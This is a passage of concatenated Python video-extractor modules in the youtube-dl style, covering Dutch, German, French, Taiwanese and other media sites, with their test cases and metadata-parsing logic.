class SchoolTVIE(InfoExtractor):
    IE_NAME = 'schooltv'
    _VALID_URL = r'https?://(?:www\.)?schooltv\.nl/video/(?P<id>[^/?#&]+)'

    _TEST = {
        'url': 'http://www.schooltv.nl/video/ademhaling-de-hele-dag-haal-je-adem-maar-wat-gebeurt-er-dan-eigenlijk-in-je-lichaam/',
        'info_dict': {
            'id': 'WO_NTR_429477',
            'display_id': 'ademhaling-de-hele-dag-haal-je-adem-maar-wat-gebeurt-er-dan-eigenlijk-in-je-lichaam',
            'title': 'Ademhaling: De hele dag haal je adem. Maar wat gebeurt er dan eigenlijk in je lichaam?',
            'ext': 'mp4',
            'description': 'md5:abfa0ff690adb73fd0297fd033aaa631'
        },
        'params': {
            # Skip because of m3u8 download
            'skip_download': True
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        video_id = self._search_regex(
            r'data-mid=(["\'])(?P<id>.+?)\1', webpage, 'video_id', group='id')
        return {
            '_type': 'url_transparent',
            'ie_key': 'NPO',
            'url': 'npo:%s' % video_id,
            'display_id': display_id
        }


class VPROIE(NPOIE):
    IE_NAME = 'vpro'
    _VALID_URL = r'https?://(?:www\.)?(?:tegenlicht\.)?vpro\.nl/(?:[^/]+/){2,}(?P<id>[^/]+)\.html'

    _TESTS = [
        {
            'url': 'http://tegenlicht.vpro.nl/afleveringen/2012-2013/de-toekomst-komt-uit-afrika.html',
            'md5': 'f8065e4e5a7824068ed3c7e783178f2c',
            'info_dict': {
                'id': 'VPWON_1169289',
                'ext': 'm4v',
                'title': 'De toekomst komt uit Afrika',
                'description': 'md5:52cf4eefbc96fffcbdc06d024147abea',
                'upload_date': '20130225',
            },
        },
        {
            'url': 'http://www.vpro.nl/programmas/2doc/2015/sergio-herman.html',
            'info_dict': {
                'id': 'sergio-herman',
                'title': 'Sergio Herman: Fucking perfect',
            },
            'playlist_count': 2,
        },
        {
            # playlist with youtube embed
            'url': 'http://www.vpro.nl/programmas/2doc/2015/education-education.html',
            'info_dict': {
                'id': 'education-education',
                'title': '2Doc',
            },
            'playlist_count': 2,
        }
    ]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        entries = [
            self.url_result('npo:%s' % video_id if not video_id.startswith('http') else video_id)
            for video_id in re.findall(r'data-media-id="([^"]+)"', webpage)
        ]

        playlist_title = self._search_regex(
            r'<title>\s*([^>]+?)\s*-\s*Teledoc\s*-\s*VPRO\s*</title>',
            webpage, 'playlist title', default=None) or self._og_search_title(webpage)

        return self.playlist_result(entries, playlist_id, playlist_title)


class WNLIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?omroepwnl\.nl/video/detail/(?P<id>[^/]+)__\d+'

    _TEST = {
        'url': 'http://www.omroepwnl.nl/video/detail/vandaag-de-dag-6-mei__060515',
        'info_dict': {
            'id': 'vandaag-de-dag-6-mei',
            'title': 'Vandaag de Dag 6 mei',
        },
        'playlist_count': 4,
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        entries = [
            self.url_result('npo:%s' % video_id, 'NPO')
            for video_id, part in re.findall(
                r'<a[^>]+href="([^"]+)"[^>]+class="js-mid"[^>]*>(Deel \d+)', webpage)
        ]

        playlist_title = self._html_search_regex(
            r'(?s)<h1[^>]+class="subject"[^>]*>(.+?)</h1>',
            webpage, 'playlist title')

        return self.playlist_result(entries, playlist_id, playlist_title)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import parse_duration


class SWRMediathekIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?swrmediathek\.de/(?:content/)?player\.htm\?show=(?P<id>[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12})'

    _TESTS = [{
        'url': 'http://swrmediathek.de/player.htm?show=849790d0-dab8-11e3-a953-0026b975f2e6',
        'md5': '8c5f6f0172753368547ca8413a7768ac',
        'info_dict': {
            'id': '849790d0-dab8-11e3-a953-0026b975f2e6',
            'ext': 'mp4',
            'title': 'SWR odysso',
            'description': 'md5:2012e31baad36162e97ce9eb3f157b8a',
            'thumbnail': 're:^http:.*\.jpg$',
            'duration': 2602,
            'upload_date': '20140515',
            'uploader': 'SWR Fernsehen',
            'uploader_id': '990030',
        },
    }, {
        'url': 'http://swrmediathek.de/player.htm?show=0e1a8510-ddf2-11e3-9be3-0026b975f2e6',
        'md5': 'b10ab854f912eecc5a6b55cd6fc1f545',
        'info_dict': {
            'id': '0e1a8510-ddf2-11e3-9be3-0026b975f2e6',
            'ext': 'mp4',
            'title': 'Nachtcafé - Alltagsdroge Alkohol - zwischen Sektempfang und Komasaufen',
            'description': 'md5:e0a3adc17e47db2c23aab9ebc36dbee2',
            'thumbnail': 're:http://.*\.jpg',
            'duration': 5305,
            'upload_date': '20140516',
            'uploader': 'SWR Fernsehen',
            'uploader_id': '990030',
        },
    }, {
        'url': 'http://swrmediathek.de/player.htm?show=bba23e10-cb93-11e3-bf7f-0026b975f2e6',
        'md5': '4382e4ef2c9d7ce6852535fa867a0dd3',
        'info_dict': {
            'id': 'bba23e10-cb93-11e3-bf7f-0026b975f2e6',
            'ext': 'mp3',
            'title': 'Saša Stanišic: Vor dem Fest',
            'description': 'md5:5b792387dc3fbb171eb709060654e8c9',
            'thumbnail': 're:http://.*\.jpg',
            'duration': 3366,
            'upload_date': '20140520',
            'uploader': 'SWR 2',
            'uploader_id': '284670',
        }
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        video = self._download_json(
            'http://swrmediathek.de/AjaxEntry?ekey=%s' % video_id, video_id, 'Downloading video JSON')

        attr = video['attr']
        media_type = attr['entry_etype']

        formats = []
        for entry in video['sub']:
            if entry['name'] != 'entry_media':
                continue

            entry_attr = entry['attr']
            codec = entry_attr['val0']
            quality = int(entry_attr['val1'])

            fmt = {
                'url': entry_attr['val2'],
                'quality': quality,
            }

            if media_type == 'Video':
                fmt.update({
                    'format_note': ['144p', '288p', '544p', '720p'][quality - 1],
                    'vcodec': codec,
                })
            elif media_type == 'Audio':
                fmt.update({
                    'acodec': codec,
                })
            formats.append(fmt)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': attr['entry_title'],
            'description': attr['entry_descl'],
            'thumbnail': attr['entry_image_16_9'],
            'duration': parse_duration(attr['entry_durat']),
            'upload_date': attr['entry_pdatet'][:-4],
            'uploader': attr['channel_title'],
            'uploader_id': attr['channel_idkey'],
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    clean_html,
    int_or_none,
    js_to_json,
    parse_iso8601,
)


class NetzkinoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?netzkino\.de/\#!/(?P<category>[^/]+)/(?P<id>[^/]+)'

    _TEST = {
        'url': 'http://www.netzkino.de/#!/scifikino/rakete-zum-mond',
        'md5': '92a3f8b76f8d7220acce5377ea5d4873',
        'info_dict': {
            'id': 'rakete-zum-mond',
            'ext': 'mp4',
            'title': 'Rakete zum Mond (Endstation Mond, Destination Moon)',
            'comments': 'mincount:3',
            'description': 'md5:1eddeacc7e62d5a25a2d1a7290c64a28',
            'upload_date': '20120813',
            'thumbnail': 're:https?://.*\.jpg$',
            'timestamp': 1344858571,
            'age_limit': 12,
        },
        'params': {
            'skip_download': 'Download only works from Germany',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        category_id = mobj.group('category')
        video_id = mobj.group('id')

        api_url = 'http://api.netzkino.de.simplecache.net/capi-2.0a/categories/%s.json?d=www' % category_id
        api_info = self._download_json(api_url, video_id)
        info = next(
            p for p in api_info['posts'] if p['slug'] == video_id)
        custom_fields = info['custom_fields']

        production_js = self._download_webpage(
            'http://www.netzkino.de/beta/dist/production.min.js', video_id,
            note='Downloading player code')
        avo_js = self._search_regex(
            r'var urlTemplate=(\{.*?"\})',
            production_js, 'URL templates')
        templates = self._parse_json(
            avo_js, video_id, transform_source=js_to_json)

        suffix = {
            'hds': '.mp4/manifest.f4m',
            'hls': '.mp4/master.m3u8',
            'pmd': '.mp4',
        }
        film_fn = custom_fields['Streaming'][0]
        formats = [{
            'format_id': key,
            'ext': 'mp4',
            'url': tpl.replace('{}', film_fn) + suffix[key],
        } for key, tpl in templates.items()]
        self._sort_formats(formats)

        comments = [{
            'timestamp': parse_iso8601(c.get('date'), delimiter=' '),
            'id': c['id'],
            'author': c['name'],
            'html': c['content'],
            'parent': 'root' if c.get('parent', 0) == 0 else c['parent'],
        } for c in info.get('comments', [])]

        return {
            'id': video_id,
            'formats': formats,
            'comments': comments,
            'title': info['title'],
            'age_limit': int_or_none(custom_fields.get('FSK')[0]),
            'timestamp': parse_iso8601(info.get('date'), delimiter=' '),
            'description': clean_html(info.get('content')),
            'thumbnail': info.get('thumbnail'),
            'playlist_title': api_info.get('title'),
            'playlist_id': category_id,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    qualities,
    unescapeHTML,
    xpath_element,
)


class AllocineIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?allocine\.fr/(?P<typ>article|video|film)/(fichearticle_gen_carticle=|player_gen_cmedia=|fichefilm_gen_cfilm=|video-)(?P<id>[0-9]+)(?:\.html)?'

    _TESTS = [{
        'url': 'http://www.allocine.fr/article/fichearticle_gen_carticle=18635087.html',
        'md5': '0c9fcf59a841f65635fa300ac43d8269',
        'info_dict': {
            'id': '19546517',
            'ext': 'mp4',
            'title': 'Astérix - Le Domaine des Dieux Teaser VF',
            'description': 'md5:abcd09ce503c6560512c14ebfdb720d2',
            'thumbnail': 're:http://.*\.jpg',
        },
    }, {
        'url': 'http://www.allocine.fr/video/player_gen_cmedia=19540403&cfilm=222257.html',
        'md5': 'd0cdce5d2b9522ce279fdfec07ff16e0',
        'info_dict': {
            'id': '19540403',
            'ext': 'mp4',
            'title': 'Planes 2 Bande-annonce VF',
            'description': 'Regardez la bande annonce du film Planes 2 (Planes 2 Bande-annonce VF). Planes 2, un film de Roberts Gannaway',
            'thumbnail': 're:http://.*\.jpg',
        },
    }, {
        'url': 'http://www.allocine.fr/film/fichefilm_gen_cfilm=181290.html',
        'md5': '101250fb127ef9ca3d73186ff22a47ce',
        'info_dict': {
            'id': '19544709',
            'ext': 'mp4',
            'title': 'Dragons 2 - Bande annonce finale VF',
            'description': 'md5:601d15393ac40f249648ef000720e7e3',
            'thumbnail': 're:http://.*\.jpg',
        },
    }, {
        'url': 'http://www.allocine.fr/video/video-19550147/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        typ = mobj.group('typ')
        display_id = mobj.group('id')

        webpage = self._download_webpage(url, display_id)

        if typ == 'film':
            video_id = self._search_regex(r'href="/video/player_gen_cmedia=([0-9]+).+"', webpage, 'video id')
        else:
            player = self._search_regex(r'data-player=\'([^\']+)\'>', webpage, 'data player', default=None)
            if player:
                player_data = json.loads(player)
                video_id = compat_str(player_data['refMedia'])
            else:
                model = self._search_regex(r'data-model="([^"]+)">', webpage, 'data model')
                model_data = self._parse_json(unescapeHTML(model), display_id)
                video_id = compat_str(model_data['id'])

        xml = self._download_xml('http://www.allocine.fr/ws/AcVisiondataV4.ashx?media=%s' % video_id, display_id)

        video = xpath_element(xml, './/AcVisionVideo').attrib
        quality = qualities(['ld', 'md', 'hd'])

        formats = []
        for k, v in video.items():
            if re.match(r'.+_path', k):
                format_id = k.split('_')[0]
                formats.append({
                    'format_id': format_id,
                    'quality': quality(format_id),
                    'url': v,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video['videoTitle'],
            'thumbnail': self._og_search_thumbnail(webpage),
            'formats': formats,
            'description': self._og_search_description(webpage),
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
)
from ..utils import (
    parse_duration,
)


class GoshgayIE(InfoExtractor):
    _VALID_URL = r'https?://www\.goshgay\.com/video(?P<id>\d+?)($|/)'
    _TEST = {
        'url': 'http://www.goshgay.com/video299069/diesel_sfw_xxx_video',
        'md5': '4b6db9a0a333142eb9f15913142b0ed1',
        'info_dict': {
            'id': '299069',
            'ext': 'flv',
            'title': 'DIESEL SFW XXX Video',
            'thumbnail': 're:^http://.*\.jpg$',
            'duration': 80,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<h2>(.*?)<', webpage, 'title')
        duration = parse_duration(self._html_search_regex(
            r'<span class="duration">\s*-?\s*(.*?)</span>',
            webpage, 'duration', fatal=False))

        flashvars = compat_parse_qs(self._html_search_regex(
            r'<embed.+?id="flash-player-embed".+?flashvars="([^"]+)"',
            webpage, 'flashvars'))
        thumbnail = flashvars.get('url_bigthumb', [None])[0]
        video_url = flashvars['flv_url'][0]

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    smuggle_url,
    unsmuggle_url,
)


class LiTVIE(InfoExtractor):
    _VALID_URL = r'https?://www\.litv\.tv/(?:vod|promo)/[^/]+/(?:content\.do)?\?.*?\b(?:content_)?id=(?P<id>[^&]+)'

    _URL_TEMPLATE = 'https://www.litv.tv/vod/%s/content.do?id=%s'

    _TESTS = [{
        'url': 'https://www.litv.tv/vod/drama/content.do?brc_id=root&id=VOD00041610&isUHEnabled=true&autoPlay=1',
        'info_dict': {
            'id': 'VOD00041606',
            'title': '花千骨',
        },
        'playlist_count': 50,
    }, {
        'url': 'https://www.litv.tv/vod/drama/content.do?brc_id=root&id=VOD00041610&isUHEnabled=true&autoPlay=1',
        'md5': '969e343d9244778cb29acec608e53640',
        'info_dict': {
            'id': 'VOD00041610',
            'ext': 'mp4',
            'title': '花千骨第1集',
            'thumbnail': 're:https?://.*\.jpg$',
            'description': 'md5:c7017aa144c87467c4fb2909c4b05d6f',
            'episode_number': 1,
        },
        'params': {
            'noplaylist': True,
        },
        'skip': 'Georestricted to Taiwan',
    }, {
        'url': 'https://www.litv.tv/promo/miyuezhuan/?content_id=VOD00044841&',
        'md5': '88322ea132f848d6e3e18b32a832b918',
        'info_dict': {
            'id': 'VOD00044841',
            'ext': 'mp4',
            'title': '芈月傳第1集　霸星芈月降世楚國',
            'description': '楚威王二年，太史令唐昧夜觀星象，發現霸星即將現世。王后得知霸星的預言後，想盡辦法不讓孩子順利出生，幸得莒姬相護化解危機。沒想到眾人期待下出生的霸星卻是位公主，楚威王對此失望至極。楚王后命人將女嬰丟棄河中，居然奇蹟似的被少司命像攔下，楚威王認為此女非同凡響，為她取名芈月。',
        },
        'skip': 'Georestricted to Taiwan',
    }]

    def _extract_playlist(self, season_list, video_id, vod_data, view_data, prompt=True):
        episode_title = view_data['title']
        content_id = season_list['contentId']

        if prompt:
            self.to_screen('Downloading playlist %s - add --no-playlist to just download video %s' % (content_id, video_id))

        all_episodes = [
            self.url_result(smuggle_url(
                self._URL_TEMPLATE % (view_data['contentType'], episode['contentId']),
                {'force_noplaylist': True}))  # To prevent infinite recursion
            for episode in season_list['episode']]

        return self.playlist_result(all_episodes, content_id, episode_title)

    def _real_extract(self, url):
        url, data = unsmuggle_url(url, {})

        video_id = self._match_id(url)

        noplaylist = self._downloader.params.get('noplaylist')
        noplaylist_prompt = True
        if 'force_noplaylist' in data:
            noplaylist = data['force_noplaylist']
            noplaylist_prompt = False

        webpage = self._download_webpage(url, video_id)

        view_data = dict(map(lambda t: (t[0], t[2]), re.findall(
            r'viewData\.([a-zA-Z]+)\s*=\s*(["\'])([^"\']+)\2',
            webpage)))

        vod_data = self._parse_json(self._search_regex(
            'var\s+vod\s*=\s*([^;]+)', webpage, 'VOD data', default='{}'),
            video_id)

        season_list = list(vod_data.get('seasonList', {}).values())
        if season_list:
            if not noplaylist:
                return self._extract_playlist(
                    season_list[0], video_id, vod_data, view_data,
                    prompt=noplaylist_prompt)

            if noplaylist_prompt:
                self.to_screen('Downloading just video %s because of --no-playlist' % video_id)

        # In browsers `getMainUrl` request is always issued. Usually this
        # endpoint gives the same result as the data embedded in the webpage.
        # If georestricted, there are no embedded data, so an extra request is
        # necessary to get the error code
        if 'assetId' not in view_data:
            view_data = self._download_json(
                'https://www.litv.tv/vod/ajax/getProgramInfo', video_id,
                query={'contentId': video_id},
                headers={'Accept': 'application/json'})
        video_data = self._parse_json(self._search_regex(
            r'uiHlsUrl\s*=\s*testBackendData\(([^;]+)\);',
            webpage, 'video data', default='{}'), video_id)
        if not video_data:
            payload = {
                'assetId': view_data['assetId'],
                'watchDevices': view_data['watchDevices'],
                'contentType': view_data['contentType'],
            }
            video_data = self._download_json(
                'https://www.litv.tv/vod/getMainUrl', video_id,
                data=json.dumps(payload).encode('utf-8'),
                headers={'Content-Type': 'application/json'})

        if not video_data.get('fullpath'):
            error_msg = video_data.get('errorMessage')
            if error_msg == 'vod.error.outsideregionerror':
                self.raise_geo_restricted('This video is available in Taiwan only')
            if error_msg:
                raise ExtractorError('%s said: %s' % (self.IE_NAME, error_msg), expected=True)
            raise ExtractorError('Unexpected result from %s' % self.IE_NAME)

        formats = self._extract_m3u8_formats(
            video_data['fullpath'], video_id, ext='mp4',
            entry_protocol='m3u8_native', m3u8_id='hls')
        for a_format in formats:
            # LiTV HLS segments doesn't like compressions
            a_format.setdefault('http_headers', {})['Youtubedl-no-compression'] = True

        title = view_data['title'] + view_data.get('secondaryMark', '')
        description = view_data.get('description')
        thumbnail = view_data.get('imageFile')
        categories = [item['name'] for item in vod_data.get('category', [])]
        episode = int_or_none(view_data.get('episode'))

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'categories': categories,
            'episode_number': episode,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class TF1IE(InfoExtractor):
    """TF1 uses the wat.tv player."""
    _VALID_URL = r'https?://(?:(?:videos|www|lci)\.tf1|(?:www\.)?(?:tfou|ushuaiatv|histoire|tvbreizh))\.fr/(?:[^/]+/)*(?P<id>[^/?#.]+)'
    _TESTS = [{
        'url': 'http://videos.tf1.fr/auto-moto/citroen-grand-c4-picasso-2013-presentation-officielle-8062060.html',
        'info_dict': {
            'id': '10635995',
            'ext': 'mp4',
            'title': 'Citroën Grand C4 Picasso 2013 : présentation officielle',
            'description': 'Vidéo officielle du nouveau Citroën Grand C4 Picasso, lancé à l\'automne 2013.',
        },
        'params': {
            # Sometimes wat serves the whole file with the --test option
            'skip_download': True,
        },
    }, {
        'url': 'http://www.tfou.fr/chuggington/videos/le-grand-mysterioso-chuggington-7085291-739.html',
        'info_dict': {
            'id': 'le-grand-mysterioso-chuggington-7085291-739',
            'ext': 'mp4',
            'title': 'Le grand Mystérioso - Chuggington',
            'description': 'Le grand Mystérioso - Emery rêve qu\'un article lui soit consacré dans le journal.',
            'upload_date': '20150103',
        },
        'params': {
            # Sometimes wat serves the whole file with the --test option
            'skip_download': True,
        },
        'skip': 'HTTP Error 410: Gone',
    }, {
        'url': 'http://www.tf1.fr/tf1/koh-lanta/videos/replay-koh-lanta-22-mai-2015.html',
        'only_matching': True,
    }, {
        'url': 'http://lci.tf1.fr/sept-a-huit/videos/sept-a-huit-du-24-mai-2015-8611550.html',
        'only_matching': True,
    }, {
        'url': 'http://www.tf1.fr/hd1/documentaire/videos/mylene-farmer-d-une-icone.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        wat_id = self._html_search_regex(
            r'(["\'])(?:https?:)?//www\.wat\.tv/embedframe/.*?(?P<id>\d{8})\1',
            webpage, 'wat id', group='id')
        return self.url_result('wat:%s' % wat_id, 'Wat')






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    js_to_json,
    mimetype2ext,
    ExtractorError,
)


class ImgurIE(InfoExtractor):
    _VALID_URL = r'https?://(?:i\.)?imgur\.com/(?:(?:gallery|topic/[^/]+)/)?(?P<id>[a-zA-Z0-9]{6,})(?:[/?#&]+|\.[a-z]+)?$'

    _TESTS = [{
        'url': 'https://i.imgur.com/A61SaA1.gifv',
        'info_dict': {
            'id': 'A61SaA1',
            'ext': 'mp4',
            'title': 're:Imgur GIF$|MRW gifv is up and running without any bugs$',
            'description': 'Imgur: The most awesome images on the Internet.',
        },
    }, {
        'url': 'https://imgur.com/A61SaA1',
        'info_dict': {
            'id': 'A61SaA1',
            'ext': 'mp4',
            'title': 're:Imgur GIF$|MRW gifv is up and running without any bugs$',
            'description': 'Imgur: The most awesome images on the Internet.',
        },
    }, {
        'url': 'https://imgur.com/gallery/YcAQlkx',
        'info_dict': {
            'id': 'YcAQlkx',
            'ext': 'mp4',
            'title': 'Classic Steve Carell gif...cracks me up everytime....damn the repost downvotes....',
            'description': 'Imgur: The most awesome images on the Internet.'

        }
    }, {
        'url': 'http://imgur.com/topic/Funny/N8rOudd',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(
            compat_urlparse.urljoin(url, video_id), video_id)

        width = int_or_none(self._og_search_property(
            'video:width', webpage, default=None))
        height = int_or_none(self._og_search_property(
            'video:height', webpage, default=None))

        video_elements = self._search_regex(
            r'(?s)<div class="video-elements">(.*?)</div>',
            webpage, 'video elements', default=None)
        if not video_elements:
            raise ExtractorError(
                'No sources found for video %s. Maybe an image?' % video_id,
                expected=True)

        formats = []
        for m in re.finditer(r'<source\s+src="(?P<src>[^"]+)"\s+type="(?P<type>[^"]+)"', video_elements):
            formats.append({
                'format_id': m.group('type').partition('/')[2],
                'url': self._proto_relative_url(m.group('src')),
                'ext': mimetype2ext(m.group('type')),
                'acodec': 'none',
                'width': width,
                'height': height,
                'http_headers': {
                    'User-Agent': 'youtube-dl (like wget)',
                },
            })

        gif_json = self._search_regex(
            r'(?s)var\s+videoItem\s*=\s*(\{.*?\})',
            webpage, 'GIF code', fatal=False)
        if gif_json:
            gifd = self._parse_json(
                gif_json, video_id, transform_source=js_to_json)
            formats.append({
                'format_id': 'gif',
                'preference': -10,
                'width': width,
                'height': height,
                'ext': 'gif',
                'acodec': 'none',
                'vcodec': 'gif',
                'container': 'gif',
                'url': self._proto_relative_url(gifd['gifUrl']),
                'filesize': gifd.get('size'),
                'http_headers': {
                    'User-Agent': 'youtube-dl (like wget)',
                },
            })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'description': self._og_search_description(webpage),
            'title': self._og_search_title(webpage),
        }


class ImgurAlbumIE(InfoExtractor):
    _VALID_URL = r'https?://(?:i\.)?imgur\.com/(?:(?:a|gallery|topic/[^/]+)/)?(?P<id>[a-zA-Z0-9]{5})(?:[/?#&]+)?$'

    _TESTS = [{
        'url': 'http://imgur.com/gallery/Q95ko',
        'info_dict': {
            'id': 'Q95ko',
        },
        'playlist_count': 25,
    }, {
        'url': 'http://imgur.com/a/j6Orj',
        'only_matching': True,
    }, {
        'url': 'http://imgur.com/topic/Aww/ll5Vk',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        album_id = self._match_id(url)

        album_images = self._download_json(
            'http://imgur.com/gallery/%s/album_images/hit.json?all=true' % album_id,
            album_id, fatal=False)

        if album_images:
            data = album_images.get('data')
            if data and isinstance(data, dict):
                images = data.get('images')
                if images and isinstance(images, list):
                    entries = [
                        self.url_result('http://imgur.com/%s' % image['hash'])
                        for image in images if image.get('hash')]
                    return self.playlist_result(entries, album_id)

        # Fallback to single video
        return self.url_result('http://imgur.com/%s' % album_id, ImgurIE.ie_key())






# coding: utf-8
from __future__ import unicode_literals

import datetime

from .common import InfoExtractor


class NerdCubedFeedIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?nerdcubed\.co\.uk/feed\.json'
    _TEST = {
        'url': 'http://www.nerdcubed.co.uk/feed.json',
        'info_dict': {
            'id': 'nerdcubed-feed',
            'title': 'nerdcubed.co.uk feed',
        },
        'playlist_mincount': 1300,
    }

    def _real_extract(self, url):
        feed = self._download_json(url, url, 'Downloading NerdCubed JSON feed')

        entries = [{
            '_type': 'url',
            'title': feed_entry['title'],
            'uploader': feed_entry['source']['name'] if feed_entry['source'] else None,
            'upload_date': datetime.datetime.strptime(feed_entry['date'], '%Y-%m-%d').strftime('%Y%m%d'),
            'url': 'http://www.youtube.com/watch?v=' + feed_entry['youtube_id'],
        } for feed_entry in feed]

        return {
            '_type': 'playlist',
            'title': 'nerdcubed.co.uk feed',
            'id': 'nerdcubed-feed',
            'entries': entries,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_xpath,
)
from ..utils import (
    int_or_none,
    parse_duration,
    smuggle_url,
    unsmuggle_url,
    xpath_text,
)


class MicrosoftVirtualAcademyBaseIE(InfoExtractor):
    def _extract_base_url(self, course_id, display_id):
        return self._download_json(
            'https://api-mlxprod.microsoft.com/services/products/anonymous/%s' % course_id,
            display_id, 'Downloading course base URL')

    def _extract_chapter_and_title(self, title):
        if not title:
            return None, None
        m = re.search(r'(?P<chapter>\d+)\s*\|\s*(?P<title>.+)', title)
        return (int(m.group('chapter')), m.group('title')) if m else (None, title)


class MicrosoftVirtualAcademyIE(MicrosoftVirtualAcademyBaseIE):
    IE_NAME = 'mva'
    IE_DESC = 'Microsoft Virtual Academy videos'
    _VALID_URL = r'(?:%s:|https?://(?:mva\.microsoft|(?:www\.)?microsoftvirtualacademy)\.com/[^/]+/training-courses/[^/?#&]+-)(?P<course_id>\d+)(?::|\?l=)(?P<id>[\da-zA-Z]+_\d+)' % IE_NAME

    _TESTS = [{
        'url': 'https://mva.microsoft.com/en-US/training-courses/microsoft-azure-fundamentals-virtual-machines-11788?l=gfVXISmEB_6804984382',
        'md5': '7826c44fc31678b12ad8db11f6b5abb9',
        'info_dict': {
            'id': 'gfVXISmEB_6804984382',
            'ext': 'mp4',
            'title': 'Course Introduction',
            'formats': 'mincount:3',
            'subtitles': {
                'en': [{
                    'ext': 'ttml',
                }],
            },
        }
    }, {
        'url': 'mva:11788:gfVXISmEB_6804984382',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})

        mobj = re.match(self._VALID_URL, url)
        course_id = mobj.group('course_id')
        video_id = mobj.group('id')

        base_url = smuggled_data.get('base_url') or self._extract_base_url(course_id, video_id)

        settings = self._download_xml(
            '%s/content/content_%s/videosettings.xml?v=1' % (base_url, video_id),
            video_id, 'Downloading video settings XML')

        _, title = self._extract_chapter_and_title(xpath_text(
            settings, './/Title', 'title', fatal=True))

        formats = []

        for sources in settings.findall(compat_xpath('.//MediaSources')):
            if sources.get('videoType') == 'smoothstreaming':
                continue
            for source in sources.findall(compat_xpath('./MediaSource')):
                video_url = source.text
                if not video_url or not video_url.startswith('http'):
                    continue
                video_mode = source.get('videoMode')
                height = int_or_none(self._search_regex(
                    r'^(\d+)[pP]$', video_mode or '', 'height', default=None))
                codec = source.get('codec')
                acodec, vcodec = [None] * 2
                if codec:
                    codecs = codec.split(',')
                    if len(codecs) == 2:
                        acodec, vcodec = codecs
                    elif len(codecs) == 1:
                        vcodec = codecs[0]
                formats.append({
                    'url': video_url,
                    'format_id': video_mode,
                    'height': height,
                    'acodec': acodec,
                    'vcodec': vcodec,
                })
        self._sort_formats(formats)

        subtitles = {}
        for source in settings.findall(compat_xpath('.//MarkerResourceSource')):
            subtitle_url = source.text
            if not subtitle_url:
                continue
            subtitles.setdefault('en', []).append({
                'url': '%s/%s' % (base_url, subtitle_url),
                'ext': source.get('type'),
            })

        return {
            'id': video_id,
            'title': title,
            'subtitles': subtitles,
            'formats': formats
        }


class MicrosoftVirtualAcademyCourseIE(MicrosoftVirtualAcademyBaseIE):
    IE_NAME = 'mva:course'
    IE_DESC = 'Microsoft Virtual Academy courses'
    _VALID_URL = r'(?:%s:|https?://(?:mva\.microsoft|(?:www\.)?microsoftvirtualacademy)\.com/[^/]+/training-courses/(?P<display_id>[^/?#&]+)-)(?P<id>\d+)' % IE_NAME

    _TESTS = [{
        'url': 'https://mva.microsoft.com/en-US/training-courses/microsoft-azure-fundamentals-virtual-machines-11788',
        'info_dict': {
            'id': '11788',
            'title': 'Microsoft Azure Fundamentals: Virtual Machines',
        },
        'playlist_count': 36,
    }, {
        # with emphasized chapters
        'url': 'https://mva.microsoft.com/en-US/training-courses/developing-windows-10-games-with-construct-2-16335',
        'info_dict': {
            'id': '16335',
            'title': 'Developing Windows 10 Games with Construct 2',
        },
        'playlist_count': 10,
    }, {
        'url': 'https://www.microsoftvirtualacademy.com/en-US/training-courses/microsoft-azure-fundamentals-virtual-machines-11788',
        'only_matching': True,
    }, {
        'url': 'mva:course:11788',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if MicrosoftVirtualAcademyIE.suitable(url) else super(
            MicrosoftVirtualAcademyCourseIE, cls).suitable(url)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        course_id = mobj.group('id')
        display_id = mobj.group('display_id')

        base_url = self._extract_base_url(course_id, display_id)

        manifest = self._download_json(
            '%s/imsmanifestlite.json' % base_url,
            display_id, 'Downloading course manifest JSON')['manifest']

        organization = manifest['organizations']['organization'][0]

        entries = []
        for chapter in organization['item']:
